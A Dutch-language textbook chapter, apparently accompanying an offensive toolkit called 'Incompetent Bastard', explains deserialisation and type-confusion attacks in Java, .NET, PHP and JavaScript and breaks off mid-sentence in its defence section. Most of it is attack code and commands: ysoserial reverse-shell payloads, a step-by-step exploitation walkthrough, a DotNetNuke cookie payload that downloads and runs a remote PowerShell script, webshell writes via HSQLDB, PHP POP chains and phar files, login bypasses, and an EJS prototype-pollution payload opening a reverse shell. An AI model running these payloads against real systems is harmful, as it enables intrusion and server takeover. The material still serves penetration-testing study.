Deserialisatie en Type Confusion
De koffer die je niet had ingepakt
Stel je voor dat je op vakantie gaat. Je pakt zorgvuldig je koffer in: shirts netjes gevouwen, schoenen in een zakje, toilettas bovenop. Bij aankomst in het hotel doe je de koffer open en alles zit er precies zo in als je het erin hebt gestopt. Dat is serialisatie en deserialisatie in een notendop. Je neemt een complex geheel — een garderobekast vol objecten — en perst het plat tot iets dat door een smal kanaal past (een kofferband, een netwerkverbinding, een database-kolom). Aan de andere kant pak je het weer uit en voila: alles staat weer op z’n plek.
Klinkt onschuldig. Is het ook, zolang jij degene bent die de koffer inpakt en jij degene bent die hem weer openmaakt.
Maar nu het leuke deel. Stel dat iemand anders je koffer inpakt. Iemand die je niet kent. Iemand die misschien, laten we zeggen, een stuk C4 tussen je overhemden heeft gestopt met een draadje aan de rits. Je maakt de koffer open en — boem.
Dat is deserialisatie-aanvallen in het kort. Je applicatie verwacht braaf ingepakte objecten, maar krijgt een zorgvuldig geconstrueerde bom aangeleverd. En het mooiste? De applicatie maakt die bom vrolijk open, want hij vertrouwt de koffer.
Het is een van die kwetsbaarheden waarvan je denkt: dit kan toch niet echt werken? Wie accepteert er nou willekeurige objecten van het internet en voert ze uit? Het antwoord, zoals zo vaak in de informatiebeveiliging, is: vrijwel iedereen.
Java doet het. .NET doet het. PHP doet het. Python doet het. Ruby doet het. Elke taal die ooit het briljante idee heeft gehad om objecten te serialiseren en weer te deserialiseren — wat ze allemaal hebben gedaan — heeft dit probleem. Het verschilt alleen in de manier waarop het misgaat en hoe spectaculair de explosie is.
In dit hoofdstuk gaan we door de grootste deserialisatie-rampen van de afgelopen tien jaar. We beginnen met de basis, lopen door Java’s beruchte gadget chains, maken kennis met .NET’s ViewState-nachtmerrie, bekijken PHP’s loose comparison-circus, en eindigen met JavaScript’s prototype pollution — een kwetsbaarheid die zo elegant is dat je er bijna respect voor krijgt.
Bijna.
Serialisatie: de basis
Wat is serialisatie?
Serialisatie is het proces van het omzetten van een in-memory object naar een formaat dat kan worden opgeslagen of verzonden. Deserialisatie is het omgekeerde: je neemt die platte data en bouwt het object weer op.
Object in geheugen → serialize() → bytes/tekst → opslag/netwerk
↓
Object in geheugen ← deserialize() ← bytes/tekst ← ontvanger
Waarom doen we dit? Omdat objecten in het geheugen van je programma leven, en geheugen is vluchtig. Als je een object wilt bewaren (in een database, op schijf, in een cookie) of wilt versturen (over HTTP, via een message queue, tussen microservices), dan moet je het plat slaan tot bytes.
Formaten
Er zijn grofweg drie categorieen:
Tekstgebaseerd (leesbaar voor mensen) - JSON:
{"name": "Jan", "role": "admin"} - XML:
<user><name>Jan</name><role>admin</role></user>
- YAML: key-value pairs met witruimte
Binair (efficienter, niet leesbaar) - Java’s native
serialisatie (ObjectOutputStream) - .NET’s
BinaryFormatter - Python’s pickle - Protocol
Buffers, MessagePack, CBOR
Hybride - PHP’s serialize():
O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}
- Base64-gecodeerde binaire data in JSON of cookies
Waar het misgaat
Het fundamentele probleem is dit: bij deserialisatie geef je de afzender controle over welk object er wordt aangemaakt en welke methoden er worden aangeroepen. Als de afzender een aanvaller is, dan kiest die aanvaller welke code jouw server uitvoert.
Bij tekstformaten zoals JSON is het risico beperkt — je krijgt strings, getallen, arrays en objecten zonder gedrag. Maar zodra je binaire formaten gebruikt die volledige objecten kunnen reconstrueren, inclusief hun klassen en methoden, dan geef je de afzender in feite een remote code execution primitief cadeau.
En dat is precies wat Java, .NET en PHP doen.
Java Deserialisatie
De patiënt zero van deserialisatie-aanvallen
Als er een moment was waarop de wereld wakker werd geschud over deserialisatie, dan was het november 2015. Chris Frohoff en Gabriel Lawrence presenteerden op AppSecCali hun onderzoek naar Java deserialisatie- kwetsbaarheden, en het was alsof iemand een granaat in een bijeenkomst van Java-ontwikkelaars gooide.
Het bleek dat vrijwel elke Java-applicatie die
ObjectInputStream.readObject() gebruikte — en dat waren er
ontelbaar veel — kwetsbaar was voor remote code execution. Niet door een
bug in de applicatie zelf, maar door de combinatie van standaard
Java-bibliotheken die op het classpath stonden.
Hoe het werkt
Java’s native serialisatie-mechanisme is ingebouwd in de taal. Elke
klasse die java.io.Serializable implementeert, kan worden
geserialiseerd naar een bytestream en weer teruggehaald:
// Serialisatie: object → bytes
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"));
oos.writeObject(myObject);
// Deserialisatie: bytes → object
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = ois.readObject(); // HIER GAAT HET MISHet probleem zit in readObject(). Deze methode doet niet
alleen het object reconstrueren — het voert ook de
readObject()-methode van het object zelf uit, als die
bestaat. En bepaalde klassen in veelgebruikte bibliotheken hebben
readObject()-implementaties die, als je ze slim aan elkaar
knoopt, willekeurige code uitvoeren.
Gadget chains
Een gadget chain is een keten van bestaande klassen die, wanneer ze
in de juiste volgorde worden geserialiseerd en gedeserialiseerd, leiden
tot code execution. Denk aan een Rube Goldberg-machine van
Java-objecten: het ene object roept een methode aan op het volgende, dat
weer iets doet met het volgende, totdat uiteindelijk
Runtime.exec() wordt aangeroepen.
De beroemdste chains komen uit Apache Commons Collections:
InvokerTransformer
→ ChainedTransformer
→ ConstantTransformer
→ TransformedMap
→ AnnotationInvocationHandler.readObject()
→ Runtime.getRuntime().exec("COMMANDO")
Zes klassen. Allemaal standaard beschikbaar in vrijwel elke Java-applicatie die Apache Commons gebruikt — en dat is zo’n beetje elke Java-applicatie ooit geschreven.
ysoserial: het Zwitserse zakmes
ysoserial is de tool die dit allemaal toegankelijk maakt. Het genereert serialisatie-payloads voor tientallen gadget chains:
# Basis payload: voer 'id' uit via CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# Reverse shell via CommonsCollections5 (base64 gecodeerd commando)
java -jar ysoserial.jar CommonsCollections5 \
'bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|{bash,-i}' > payload.bin
# Base64 output (handig voor HTTP parameters)
java -jar ysoserial.jar CommonsCollections1 'id' | base64De {echo,BASE64}|{base64,-d}|{bash,-i} constructie is
een truc om speciale tekens te vermijden in het commando. Je
base64-encodeert je reverse shell, en laat bash het decoderen en
uitvoeren.
Beschikbare gadget chains
Niet elke chain werkt op elk doel. Het hangt af van welke bibliotheken op het classpath van de server staan:
| Gadget chain | Vereiste bibliotheek |
|---|---|
| CommonsCollections1-7 | Apache Commons Collections 3.x/4.x |
| Spring1-4 | Spring Framework |
| Groovy1 | Groovy |
| JRMPClient/Listener | Java RMI (standaard JDK) |
| Hibernate1 | Hibernate ORM |
| CommonsBeanutils1 | Apache Commons Beanutils |
| Jdk7u21 | JDK 7u21 (geen extra libs nodig) |
Herkenning: hoe spot je Java serialisatie?
Dit is het makkelijke deel. Java-geserialiseerde objecten hebben een herkenbare handtekening:
Hex (magic bytes):
AC ED 00 05
Base64-gecodeerd:
rO0ABQ
Content-Type header:
Content-Type: application/x-java-serialized-object
Overal waar je rO0AB ziet in base64-data — cookies,
parameters, headers, POST bodies — weet je dat er Java-serialisatie
plaatsvindt. En overal waar Java-serialisatie plaatsvindt met
onvertrouwde input, heb je een potentieel RCE-punt.
HSQLDB: de bonus-route
Soms hoef je niet eens een gadget chain te gebruiken. Als de applicatie HSQLDB als database gebruikt (wat vaker voorkomt dan je denkt, vooral in embedded Java-applicaties), dan kun je via SQL stored procedures direct Java-code uitvoeren:
-- Maak een procedure die commando's uitvoert via Runtime.exec()
CREATE PROCEDURE exec_cmd(IN cmd VARCHAR)
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.Runtime.exec'
-- Of schrijf een webshell naar het filesystem
CREATE PROCEDURE write_file(IN path VARCHAR, IN data VARBINARY(65535))
LANGUAGE JAVA DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
CALL write_file('/var/www/html/shell.jsp',
CAST('webshell_hex' AS VARBINARY(65535)))Dit werkt omdat HSQLDB Java Language Routines ondersteunt — je kunt willekeurige Java-methoden aanroepen als stored procedures. Als je al SQLi of XXE hebt, is dit een directe escalatie naar RCE.
Het IB commando:
web_deser_java
In Incompetent Bastard vind je dit terug als het
web_deser_java commando. Het combineert de ysoserial
payload-generatie met detectietips en de HSQLDB-route:
IB Tip: Check altijd het classpath van het doelwit voordat je gadget chains probeert. Kijk naar
pom.xml,build.gradle, of delib/directory voor beschikbare bibliotheken. Geen Apache Commons Collections? Probeer Spring of Hibernate chains. Het classpath bepaalt je aanvalsvlak.
IB Tip: De
{echo,BASE64}|{base64,-d}|{bash,-i}constructie in ysoserial omzeilt problemen met speciale tekens in shell-commando’s. Encodeer je reverse shell payload in base64 en laat het doel het zelf decoderen.
Werkend voorbeeld
Stel: je vindt een Java-webapplicatie die een geserialiseerd object accepteert in een POST-parameter. De applicatie gebruikt Apache Tomcat met Commons Collections 3.2.1 op het classpath.
Stap 1: Detectie
# Intercept het verzoek in Burp Suite
# Zoek naar base64 data die begint met rO0AB
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head -5
# 00000000: aced 0005 7372 0011 6a61 7661 2e75 7469 ....sr..java.utiDe aced 0005 bevestigt: dit is een Java-geserialiseerd
object.
Stap 2: Payload genereren
# Test met een eenvoudig commando
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER:8080/test' \
| base64 -w 0 > payload.b64
# Als dat werkt, reverse shell
REVERSE_SHELL=$(echo 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1' | base64)
java -jar ysoserial.jar CommonsCollections5 \
"bash -c {echo,${REVERSE_SHELL}}|{base64,-d}|{bash,-i}" \
| base64 -w 0 > payload.b64Stap 3: Verzenden
# Vervang de originele parameter met de payload
curl -X POST https://target.com/api/import \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.binStap 4: Luisteren
nc -nlvp 443
# Connection from target.com
# bash-4.4$ id
# uid=1001(tomcat) gid=1001(tomcat)Zo eenvoudig is het. En dat is het angstaanjagende.
.NET Deserialisatie
Een ander ecosysteem, dezelfde ziekte
Als Java de patiënt zero was, dan is .NET de buurman die exact dezelfde symptomen vertoont maar volhoudt dat hij niet ziek is. Microsoft’s .NET framework heeft zijn eigen serialisatie-mechanismen, zijn eigen gadget chains, en zijn eigen spectaculaire manieren om remote code execution mogelijk te maken.
BinaryFormatter: de gevaarlijkste klasse in .NET
BinaryFormatter is zo gevaarlijk dat Microsoft het
officieel als “onveilig” heeft bestempeld en afraadt het te gebruiken.
Toch staat het in duizenden legacy-applicaties.
// Serialisatie
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(stream, myObject);
// Deserialisatie — HIER ONTPLOFT HET
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream); // RCE als de stream van een aanvaller komtNet als bij Java voert BinaryFormatter code uit tijdens
het deserialiseren. De reconstructie van het object triggert
constructors, property setters, en callback-methoden die door een
aanvaller gemanipuleerd kunnen worden.
ViewState: de verborgen aanvalsvector
ASP.NET’s ViewState is een mechanisme om de staat van een webpagina te bewaren tussen requests. Het is een geserialiseerd .NET-object dat wordt opgeslagen in een hidden form field:
<input type="hidden" name="__VIEWSTATE"
value="wEPDwUKMTU5MjAzMDA0..." />Als ViewState niet correct is beveiligd met een MAC (Message Authentication Code), dan kan een aanvaller de inhoud vervangen door een deserialisatie-payload. En raad eens: in oudere versies van ASP.NET was die MAC standaard uitgeschakeld.
TypeNameHandling in Json.NET
Json.NET (Newtonsoft.Json) is de meestgebruikte JSON-bibliotheek in
.NET. Het heeft een feature genaamd TypeNameHandling die
het mogelijk maakt om type-informatie mee te serialiseren:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["cmd.exe", "/c calc"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}Als TypeNameHandling is ingesteld op Auto,
Objects, of All, dan interpreteert Json.NET
het $type-veld en maakt het aangegeven object aan. In
bovenstaand voorbeeld: het start cmd.exe via
ObjectDataProvider.
ysoserial.net
Het .NET-equivalent van ysoserial is — verrassend genoeg — ysoserial.net. Het genereert payloads voor diverse .NET-serialisatie-formaten:
# ObjectDataProvider via XmlSerializer
ysoserial.exe -g ObjectDataProvider -f XmlSerializer \
-c "cmd /c whoami" -o raw
# TypeConfuseDelegate via BinaryFormatter (base64 output)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter \
-c "cmd /c whoami" -o base64
# WindowsIdentity via Json.Net
ysoserial.exe -g WindowsIdentity -f Json.Net \
-c "cmd /c whoami" -o rawVeelgebruikte .NET gadget chains
| Gadget | Formatter | Doelwit |
|---|---|---|
| ObjectDataProvider | XmlSerializer | DotNetNuke, SharePoint |
| TypeConfuseDelegate | BinaryFormatter | ViewState, Remoting |
| PSObject | BinaryFormatter | PowerShell Exchange |
| WindowsIdentity | Json.Net | Web API’s met TypeNameHandling |
| TextFormattingRunProperties | BinaryFormatter | Exchange CVE-2021-42321 |
DotNetNuke: het schoolvoorbeeld
DotNetNuke (DNN) is een CMS dat berucht is geworden als
deserialisatie- doelwit. De DNNPersonalization cookie bevat
een geserialiseerd XML-object dat door de server wordt gedeserialiseerd
bij elk request:
<profile>
<item key="name" type="System.Data.Services.Internal.ExpandedWrapper`2[
[System.Diagnostics.Process, System],
[System.Windows.Data.ObjectDataProvider, PresentationFramework]
], System.Data.Services">
<MethodName>Start</MethodName>
<MethodParameters>
<string>cmd.exe</string>
<string>/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')</string>
</MethodParameters>
<ObjectInstance xsi:type="Process"/>
</item>
</profile>Je stopt dit in de DNNPersonalization cookie, stuurt een
request naar de DNN-server, en je hebt remote code execution. De server
pakt de “koffer” open zonder te kijken wat erin zit.
Het IB commando:
web_deser_dotnet
Het web_deser_dotnet commando in IB combineert de
DotNetNuke-aanval met de generieke ysoserial.net payload-generatie:
IB Tip: De
DNNPersonalizationcookie in DotNetNuke is een klassiek OSWE-examendoelwit. Als je DNN tegenkomt, controleer dan of de cookie geserialiseerde XML bevat en of er een MAC-validatie op zit.
IB Tip: Zoek in de source code naar
BinaryFormatter,XmlSerializer,JavaScriptSerializer, enJson.NetmetTypeNameHandling. Elk van deze is een potentiele deserialisatie-sink.
IB Tip: Base64-gecodeerde content in cookies, ViewState, en hidden form fields is een rode vlag. Decodeer het en kijk wat erin zit.
PHP Deserialisatie
De taal die alle beveiligingszonden heeft uitgevonden
PHP heeft een speciale plek in de geschiedenis van webbeveiliging.
Het is de taal die SQL injection mainstream maakte, die
register_globals bedacht, die eval() in een
template-engine stopte, en die een serialisatieformaat heeft dat zo
gevaarlijk is dat het een eigen categorie van kwetsbaarheden heeft
gecreeerd.
unserialize(): het
probleem
PHP’s serialize() zet een object om in een
string-representatie:
<?php
class User {
public $name = "Jan";
public $role = "admin";
}
$user = new User();
echo serialize($user);
// O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}En unserialize() doet het omgekeerde:
<?php
$data = 'O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}';
$user = unserialize($data);
echo $user->role; // "admin"Het probleem? Wanneer je een object deserialiseert, roept PHP automatisch bepaalde “magic methods” aan:
| Method | Wanneer aangeroepen |
|---|---|
__wakeup() |
Direct na deserialisatie |
__destruct() |
Wanneer het object wordt vernietigd |
__toString() |
Wanneer het object als string wordt gebruikt |
__call() |
Wanneer een niet-bestaande methode wordt aangeroepen |
__get() |
Wanneer een niet-bestaand property wordt gelezen |
POP chains (Property Oriented Programming)
Net als Java’s gadget chains, kunt je in PHP bestaande klassen aan elkaar rijgen om code execution te bereiken. Het heet hier POP — Property Oriented Programming — omdat je de properties van objecten manipuleert om de chain te triggeren.
<?php
// Stel: deze klassen bestaan in de applicatie
class FileHandler {
public $filename;
public $content;
public function __destruct() {
// Schrijft content naar file bij object-destructie
file_put_contents($this->filename, $this->content);
}
}
class Logger {
public $logFile;
public function __toString() {
return file_get_contents($this->logFile);
}
}
// Aanvaller maakt een payload die een webshell schrijft:
$exploit = new FileHandler();
$exploit->filename = "/var/www/html/shell.php";
$exploit->content = "<?php system(\$_GET['cmd']); ?>";
// Serialiseer de payload
$payload = serialize($exploit);
// O:11:"FileHandler":2:{s:8:"filename";s:26:"/var/www/html/shell.php";
// s:7:"content";s:34:"<?php system($_GET['cmd']); ?>";}Wanneer de server unserialize($payload) aanroept, wordt
het FileHandler-object aangemaakt. Zodra het script klaar
is en PHP het object opruimt, wordt __destruct()
aangeroepen, wat file_put_contents() aanroept met de door
de aanvaller gecontroleerde filename en content. Webshell
geschreven.
Phar deserialisatie
Dit is een bijzonder creatieve aanvalsvector. PHP Archive (phar)
bestanden bevatten geserialiseerde metadata die automatisch wordt
gedeserialiseerd wanneer een phar:// stream wrapper wordt
gebruikt.
Het briljante eraan: veel PHP-functies die met bestanden werken,
accepteren phar:// als protocol. Dus overal waar je een
bestandspad kunt beinvloeden — file_exists(),
is_dir(), fopen(),
file_get_contents(), include() — kun je
phar-deserialisatie triggeren:
<?php
// Maak een kwaadaardig phar-bestand
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$exploit = new FileHandler();
$exploit->filename = "/var/www/html/shell.php";
$exploit->content = "<?php system(\$_GET['cmd']); ?>";
$phar->setMetadata($exploit);
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("dummy.txt", "dummy");
$phar->stopBuffering();Nu upload je dit bestand (eventueel hernoemd naar
exploit.jpg — PHP controleert de magic bytes, niet de
extensie) en trigger je deserialisatie met:
<?php
// Ergens in de applicatie:
file_exists($_GET['path']);
// Aanvaller stuurt:
// ?path=phar://uploads/exploit.jpg/dummy.txt
// → PHP deserialiseert de metadata → __destruct() → webshellIB Tip: Phar-deserialisatie werkt zelfs als
unserialize()nergens in de code voorkomt. Zoek naar functies die bestandspaden accepteren waar jephar://kunt injecteren. De lijst is lang:file_exists(),is_file(),is_dir(),filesize(),stat(),fopen(),file_get_contents(),file(),include(),require(), en meer.
IB Tip: Upload het phar-bestand met een
.jpgof.gifextensie en prepend de juiste magic bytes om upload-filters te omzeilen. PHP’s phar-handler kijkt naar de interne structuur, niet naar de extensie.
Type Juggling (PHP)
Het circus van losse vergelijkingen
En nu komen we bij een kwetsbaarheid die zo absurd is dat je hem aan niet-technici kunt uitleggen en ze denken dat je een grap vertelt.
PHP heeft twee vergelijkingsoperatoren: - == (loose
comparison): probeert waarden naar hetzelfde type te converteren voor
vergelijking - === (strict comparison): vergelijkt waarde
EN type
Het probleem is dat == dingen doet die geen enkel
weldenkend mens zou verwachten:
<?php
// Welkom in PHP's type juggling circus
var_dump("0" == false); // true — string "0" is falsy
var_dump("" == false); // true — lege string is falsy
var_dump("0" == null); // false — MAAR "0" is niet null!
var_dump("" == null); // true — lege string is null-achtig
var_dump(0 == "php"); // true (PHP < 8.0) — "php" wordt 0
var_dump("1" == "01"); // true — numerieke strings worden vergeleken als getallen
var_dump("1" == "1.0"); // true — idem
var_dump(true == "anything"); // true — boolean true == elke niet-lege stringJe zou zeggen: wie schrijft er nu productie-code met ==?
Het antwoord is: heel veel PHP-ontwikkelaars. Want == is
het eerste wat je leert, het is korter, en “het werkt toch gewoon.” Tot
het dat niet doet.
Magic hashes
Dit is waar het echt hilarisch wordt. PHP’s loose comparison behandelt strings die eruitzien als wetenschappelijke notatie als getallen:
<?php
var_dump("0e123" == "0e456"); // true
var_dump("0e123" == 0); // true
var_dump("0e123" == "0e99999"); // trueWaarom? Omdat 0e123 wordt geleinterpreteerd als 0 *
10^123 = 0. En 0e456 als 0 * 10^456 = 0. En 0 == 0 is
true.
Nu het slechte nieuws: er bestaan strings waarvan de MD5-hash begint
met 0e gevolgd door alleen cijfers:
| Input | MD5 hash |
|---|---|
240610708 |
0e462097431906509019562988736854 |
QLTHNDT |
0e405967825401955372549139051580 |
QNKCDZO |
0e830400451993494058024219903391 |
PJNPDWY |
0e291529052894702774557631701704 |
aabg7XSs |
0e087386482136013740957780965295 |
aabC9RqS |
0e041022518165728065344349536617 |
Dit betekent dat als een applicatie dit doet:
<?php
if (md5($user_input) == $stored_hash) {
// Authenticatie geslaagd!
login($user);
}En de $stored_hash begint met 0e gevolgd
door alleen cijfers, dan kun je inloggen door een van de bovenstaande
magic hash inputs te gebruiken. Want 0e462... ==
0e830... is true in PHP.
Je leest dit en je denkt: dit kan niet. Dit is te dom om waar te zijn. Maar het is waar, het werkt, en het is gevonden in echte applicaties.
JSON type confusion
Maar wacht, er is meer. Als een PHP-applicatie JSON accepteert, dan kun je types meesturen die de applicatie niet verwacht:
# Normaal login request
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": "geheim_wachtwoord"}
# Type juggling aanval met boolean true
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": true}Waarom werkt dit? Omdat in PHP:
<?php
// De applicatie doet:
if ($input_password == $stored_password) { ... }
// Met JSON input {"password": true}:
// $input_password is boolean true
// true == "elke_niet_lege_string" is TRUE in PHPBoolean true is gelijk aan elke niet-lege string in
PHP’s loose comparison. Je stuurt true als wachtwoord en je
bent binnen.
Andere JSON-trucs:
# Integer 0 is gelijk aan strings die niet met een cijfer beginnen (PHP < 8.0)
{"password": 0}
# Array in plaats van string (crasht strcmp)
{"password": []}strcmp() bypass
PHP’s strcmp() functie vergelijkt twee strings. Maar als
je een array meegeeft in plaats van een string, returned het
NULL:
<?php
// De applicatie doet:
if (strcmp($input, $stored) == 0) {
// Authenticatie geslaagd!
}
// strcmp(array(), "wachtwoord") returns NULL
// NULL == 0 is TRUE in PHP
// → Authenticatie bypassDit exploit je door een array te sturen in plaats van een string:
# In een form POST:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[]=anythingDe password[] syntax maakt er een PHP-array van.
strcmp() krijgt een array, returned NULL, en
NULL == 0 is true.
Het IB commando:
web_type_juggle
Het web_type_juggle commando in IB bundelt de magic
hashes, JSON type confusion, en strcmp() bypass
technieken:
IB Tip: Zoek in PHP source code naar
==(loose comparison). Elke plek waar gebruikersinput via==wordt vergeleken, is een potentieel type juggling doelwit.
IB Tip: Probeer bij login formulieren altijd een JSON body met boolean of integer waarden. Verander de
Content-Typenaarapplication/jsonen stuur{"password": true}of{"password": 0}.
IB Tip: Gebruik
===(strict comparison) enpassword_verify()in je eigen code. Het is de enige manier om dit circus te stoppen.
Prototype Pollution (JavaScript)
Het DNA van objecten besmetten
Nu verlaten we de wereld van serialisatie en betreden we een kwetsbaarheid die uniek is voor JavaScript. Prototype pollution is het vermogen om de prototype-keten van JavaScript-objecten te manipuleren, waardoor je properties kunt injecteren in elk object in de applicatie.
Om te begrijpen hoe dit werkt, moet je begrijpen hoe JavaScript’s prototypesysteem in elkaar zit.
Prototypes in JavaScript
In JavaScript erven alle objecten van een prototype. Wanneer je een property opvraagt dat niet bestaat op het object zelf, zoekt JavaScript het op in de prototype-keten:
const user = { name: "Jan" };
// user heeft geen 'role' property
console.log(user.role); // undefined
// Maar als we het prototype van alle objecten besmetten:
Object.prototype.role = "admin";
// Dan heeft IEDERE object in de applicatie nu 'role':
console.log(user.role); // "admin"
console.log({}.role); // "admin"
console.log(({}).role); // "admin"
const newObj = {};
console.log(newObj.role); // "admin"Door een property toe te voegen aan Object.prototype,
verschijnt dat property op elk object dat geen eigen role
property heeft. Dit is het fundament van prototype pollution.
Hoe het wordt geexploiteerd
De aanval werkt via functies die objecten “deep mergen” — recursief
properties kopieren van een bron-object naar een doel-object. Als de
functie niet controleert op speciale property-namen, dan kan een
aanvaller __proto__ gebruiken om het prototype te
besmetten:
// Kwetsbare deep merge functie
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Aanvaller stuurt:
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
// Na de merge:
merge({}, malicious);
// Nu is IEDERE object "admin":
const user = {};
console.log(user.isAdmin); // trueDetectie (blackbox)
In IB’s web_prototype_pollution commando staan de
detectie-technieken:
# JSON input met __proto__
POST /api/update HTTP/1.1
Content-Type: application/json
{"__proto__":{"polluted":"yes"}}
# Alternatieve syntax via constructor
{"constructor":{"prototype":{"polluted":"yes"}}}Na het versturen, controleer je of de pollution is gelukt:
// Als {}.polluted === "yes", dan is de applicatie kwetsbaarEen agressievere test:
# Crash test: overschrijf toString
{"__proto__":{"toString":"crash"}}Als de applicatie crasht na dit request, weet je dat prototype
pollution werkt — je hebt toString() overschreven voor alle
objecten, en zodra iets een object naar een string probeert te
converteren, gaat het mis.
Van pollution naar RCE
Prototype pollution alleen is irritant maar niet catastrofaal. De echte schade ontstaat wanneer je het combineert met een template engine op de server. Dat is het moment waarop irritant escalieert naar remote code execution.
EJS (Embedded JavaScript):
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.0.0.1/443 0>&1\"');x"
}
}EJS gebruikt outputFunctionName intern om de
output-functie te benoemen in gecompileerde templates. Door deze te
overschrijven met JavaScript-code, wordt die code uitgevoerd wanneer de
template wordt gerenderd.
Pug (voorheen Jade):
{
"__proto__": {
"block": {
"type": "Text",
"val": "x]];process.mainModule.require('child_process').exec('id');//"
}
}
}Handlebars:
Handlebars heeft een complexere chain via compiler internals, maar het principe is hetzelfde: pollute een intern property dat wordt gebruikt tijdens template compilatie, en je code wordt uitgevoerd.
Kwetsbare bibliotheken
Het probleem zit niet in JavaScript zelf, maar in bibliotheken die
“deep merge” of “deep extend” operaties uitvoeren zonder
__proto__ te filteren:
| Bibliotheek | Kwetsbare versie | Fix |
|---|---|---|
| lodash.merge | < 4.6.2 | Filtert __proto__ sinds fix |
| deep-extend | Alle versies | Gebruik alternatief |
| jQuery.extend (deep) | < 3.4.0 | Filtert prototype keys |
| hoistjs | Alle versies | Gebruik alternatief |
| defaults-deep | Alle versies | Gebruik alternatief |
| assign-deep | Alle versies | Gebruik alternatief |
Belangrijk: Object.assign() is NIET
kwetsbaar. Het doet een shallow copy en kopieert geen
prototype-properties.
Detectie in source code
Als je whitebox-toegang hebt, zoek dan naar:
// Kwetsbaar: deep merge/extend zonder prototype check
merge(target, source)
extend(true, target, source)
_.merge(target, source) // lodash < 4.6.2
$.extend(true, target, source) // jQuery < 3.4.0
// NIET kwetsbaar:
Object.assign(target, source) // shallow copyHet IB commando:
web_prototype_pollution
IB Tip: Combineer prototype pollution met een template engine voor een RCE-chain. EJS, Pug, en Handlebars hebben allemaal bekende pollution-naar-RCE gadgets.
IB Tip: WebSocket-parameters worden vaak minder gesanitized dan HTTP-parameters. Als je prototype pollution probeert, test dan ook WebSocket-endpoints.
IB Tip: Gebruik
Object.create(null)voor objecten die als key-value stores worden gebruikt. Deze objecten hebben geen prototype en zijn immuun voor pollution. Alternatieven:Mapof een explicietehasOwnProperty()check.
De overkoepelende les
Laten we even een stap terug doen. We hebben nu vier verschillende kwetsbaarheden bekeken — Java deserialisatie, .NET deserialisatie, PHP type juggling, en JavaScript prototype pollution — en ze hebben allemaal hetzelfde fundamentele probleem:
We vertrouwen data van de gebruiker om objecten te maken.
Laat dat even bezinken. We nemen input van het internet — van willekeurige mensen, van bots, van aanvallers — en we gebruiken die input om objecten te construeren in het geheugen van onze server. Objecten met methoden. Objecten die code uitvoeren. Objecten die bestanden schrijven, processen starten, en databases leegrekken.
En we vinden dit normaal.
De hele software-industrie heeft collectief besloten dat het een goed idee is om de gebruiker te laten bepalen welke klasse er wordt geïnstantieerd, welke properties worden gezet, en welke methoden worden aangeroepen. We hebben hier design patterns voor gebouwd. We hebben er frameworks omheen getimmerd. We hebben er conferenties over gehouden.
En dan zijn we verbaasd als iemand een
CommonsCollections1-payload stuurt en onze server
overneemt.
Het is alsof je een restaurant runt waar de gasten hun eigen eten meenemen, het zelf opwarmen in je keuken, en het serveren aan andere gasten. En dan sta je perplex als iemand rattengif in de soep doet.
“Maar we hadden een bord bij de deur dat zei ‘geen rattengif’!”
Ja, en PHP heeft documentatie die zegt “gebruik geen
unserialize() op onvertrouwde data.” En Java heeft een heel
JEP (Java Enhancement Proposal) over serialisatiefilters. En .NET heeft
BinaryFormatter als “deprecated” gemarkeerd.
En toch staan ze er allemaal nog. In productie. Op het internet. Nu.
Omdat het makkelijker is om een deprecated-label te plakken dan om code te herschrijven. Omdat legacy-systemen niet uit zichzelf verdwijnen. Omdat de ontwikkelaar die dit tien jaar geleden schreef er allang niet meer werkt. En omdat niemand het budget krijgt om iets te fixen dat “gewoon werkt” — totdat het dat niet meer doet.
Verdediging
Algemene principes
1. Deserialiseer nooit onvertrouwde data met type-informatie
Dit is de gouden regel. Als je data van een gebruiker ontvangt en die
data bepaalt welk type object er wordt aangemaakt, dan heb je een
probleem. Gebruik formaten die geen type-informatie bevatten (JSON
zonder TypeNameHandling, protobuf met een vast schema) of
valideer strikt welke types zijn toegestaan.
2. Whitelist klassen
Als je absoluut moet deserialiseren met type-informatie, gebruik dan een whitelist van toegestane klassen. Niet een blacklist — die is altijd incompleet.
Java (serialisatie-filter, JEP 290):
// Alleen specifieke klassen toestaan
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.model.*;!*"
);
ObjectInputStream ois = new ObjectInputStream(stream);
ois.setObjectInputFilter(filter);.NET:
// Gebruik System.Text.Json in plaats van Newtonsoft.Json
// Of als je Newtonsoft moet gebruiken:
